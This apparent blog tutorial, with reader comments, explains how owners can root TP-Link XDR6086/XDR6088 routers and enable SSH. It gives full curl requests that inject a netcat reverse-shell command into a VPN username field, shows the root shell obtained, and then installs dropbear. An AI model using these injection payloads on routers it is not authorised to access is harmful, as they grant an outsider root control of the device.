TP-LINK XDR6086/XDR6088 反弹 SHELL 并开启 SSH

shell 注入方法来源:https://forum.openwrt.org/t/adding-support-for-tp-link-xdr-6086/140637/17

准备工作

1.先登录路由器 Web 界面,在 VPN 设置里添加一个 L2TP-服务端,再随便添加一个用户(如果不想手填用户信息,也可以使用后面提供的 curl 命令来创建用户)。
2.使用 nc 监听本地端口,比如 2000, Windows 可以安装 nmap,然后使用 nmap 带的 ncat 命令(在 nmap 安装目录)

nc -lp 2000

或(Windows 系统最好临时关闭一下防火墙)

ncat -lp 2000

获取 stok

按 F12 打开浏览器调试控制台,找到形如 http://192.168.0.1/stok=xxxx/ds 的 URL,chrome 浏览器的话,在“网络”标签页找到“名称”是 “ds” 的请求,单击它,然后在右侧窗口单击“标头”就可以看到了。

反弹 shell

反弹 shell 是通过在 VPN 用户名里注入 shell 命令,并且在禁用用户的时候执行,所以需要先启用用户(新建用户默认是启用的)。

创建用户(如果没用在界面创建的话)

注意把 json 里的 192.168.0.100 替换成你自己的 IP(即执行 nc/ncat -lp 2000 的机器的 IP,如果不想改 json 中的 IP,也可以改机器的 IP )。

curl http://192.168.0.1/stok=xxxx/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.0.100 2000 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'

执行成功的话,返回如下:

{"error_code":0}

发送的 json 是:

{
  "vpn": {
    "table": "user",
    "name": "user_1",
    "para": {
      "username": ";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.0.100 2000 >/tmp/p&",
      "password": "password",
      "type": "l2tp",
      "localip": "192.168.1.1",
      "ippool": "ippool",
      "dns": "1.1.1.1",
      "netmode": "client2lan",
      "maxsessions": "10",
      "remotesubnet": "192.168.1.0/24",
      "block": "0"
    }
  },
  "method": "add"
}

注意 json 中的 block 字段,为 0 则表示启用用户,为 1 表示禁用用户,注入的命令只有在从启用切换到禁用的时候才会执行。

禁用用户触发反弹 shell

执行下面的请求反弹 shell,注意把 json 里的 192.168.0.100 替换成你自己的 IP。

curl http://192.168.0.1/stok=xxxx/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.0.100 2000 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"1"}},"method":"set"}'

发送的 json 是:

{
  "vpn": {
    "table": "user",
    "name": "user_1",
    "para": {
      "username": ";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.0.100 2000 >/tmp/p&",
      "password": "password",
      "type": "l2tp",
      "localip": "192.168.1.1",
      "ippool": "ippool",
      "dns": "1.1.1.1",
      "netmode": "client2lan",
      "maxsessions": "10",
      "remotesubnet": "192.168.1.0/24",
      "block": "1"
    }
  },
  "method": "set"
}

执行成功的话,返回如下:

{"error_code":0}

如果前面不是在界面创建的用户,那这一步就可以通过在界面上 “服务端用户管理” 启用再禁用用户来实现。

并且一切顺利的话反弹 shell 应该就成功了,之前监听的 nc 会获取到 root shell:



sh: can't access tty; job control turned off
BusyBox v1.19.4 (2022-07-20 12:29:22 UTC) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ #

重新反弹

也可以在界面上 “服务端用户管理” 启用再禁用用户或者执行下面的命令来重新反弹 shell (注意把 json 里的 192.168.0.100 替换成你自己的 IP):

curl http://192.168.0.1/stok=xxxx/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.0.100 2000 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"set"}'
curl http://192.168.0.1/stok=xxxx/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.0.100 2000 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"1"}},"method":"set"}'

安装并启用 dropbear

可以从这里下载 dropbear: https://downloads.openwrt.org/releases/21.02.5/targets/armvirt/64/packages/dropbear_2020.81-2_aarch64_cortex-a53.ipk

上传安装

可以使用 U 盘来转移文件(事先放到 U 盘 或者通过 samba 上传)。

也可以使用 tftp 来传输文件:

  1. Windows 下可以下载 tftpd 来做 tftp server
  2. 在路由器 shell 中使用如下命令下载文件(注意替换 192.168.0.100 为自己机器的 IP)
tftp -g -l /tmp/dropbear.ipk -r dropbear_2020.81-2_aarch64_cortex-a53.ipk 192.168.0.100

-l 后是文件的保存位置,-r 是文件在 tftp server 上的文件名。

使用 opkg 安装:

opkg install /tmp/dropbear.ipk

启动脚本

写入 /etc/init.d/dropbear (覆盖原来的文件)

cat > /etc/init.d/dropbear << "EOF"
#!/bin/sh /etc/rc.common

START=50
STOP=50

NAME=dropbear
PROG=/usr/sbin/dropbear

check_host_keys() {
    [ -d /etc/dropbear ] || mkdir /etc/dropbear
    for type in rsa ed25519; do
        local file=/etc/dropbear/dropbear_${type}_host_key
        [ -s $file ] || {
            rm -f $file
            dropbearkey -t $type -f $file
        }
    done
}

start() {
    check_host_keys
    $PROG -K 30 -P /var/run/$NAME.pid
}

stop() {
    if [ -f /var/run/$NAME.pid ]; then
        local pid="$(cat /var/run/$NAME.pid)"
        [ "$pid" -gt 1 ] && kill "$pid"
    fi
}
EOF

启用 dropbear:

/etc/init.d/dropbear enable
/etc/init.d/dropbear start

解决默认进入 psh 的问题

sed -i '/\/sbin\/psh/d' /etc/profile

添加 authorized_keys

把 SSH_PUB_KEY 替换成自己的公钥:

echo SSH_PUB_KEY >> /etc/dropbear/authorized_keys

xdr6088_ssh.jpg

标签: none

已有 3 条评论

  1. cc cc

    大佬问一下,这个获取ssh后,理论上可以安装shellclash吗?

  2. bluec bluec

    请问大佬,按照你的教程成功安装了dropbear,但是后面更新配置文件时不知道应该怎么弄,使用vi编辑似乎vi快捷键都不能用,,无法进入或者退出编辑模式,还请赐教

    1. 更新了一下,直接用 cat 命令写入就好了。

添加新评论